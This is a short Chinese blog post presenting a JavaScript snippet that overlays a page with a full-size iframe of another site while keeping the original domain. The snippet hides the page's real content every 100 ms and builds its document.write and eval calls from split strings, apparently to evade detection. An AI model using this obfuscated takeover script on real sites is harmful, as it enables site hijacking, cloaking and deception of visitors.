JS使用iframe实现页面跳转保持域名不变

  • 内容
  • 评论
  • 相关

JS使用iframe实现页面跳转保持域名不变

<script>
	var  ss = '<center id="showcloneshengxiaon"><iframe scrolling="no" marginheight=0 marginwidth=0  frameborder="0" width="100%" width="14'+'00" height="8'+'50" src="http://www.baidu.com/"></iframe></center>';
	eval("do"+"cu"+"ment.wr"+"ite('"+ss+"');");
	try{
	  setInterval(function(){

	    try{
	      document.getElementById("div"+"All").style.display="no"+"ne";
	    }catch(e){}

	    for(var i=0;i<document.body.children.length;i++){
	      try{
	        var tagname = document.body.children[i].tagName;
	        var myid = document.body.children[i].id;
	        if(myid!="iconDiv1" && myid!="showcloneshengxiaon"){
	          // if(tagname!="center"){ 
	             document.body.children[i].style.display="non"+"e";
	           //}
	        }
	      }catch(e){}
	    }
	  },100);
	}catch(e){}
 </script>	

评论

0条评论

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注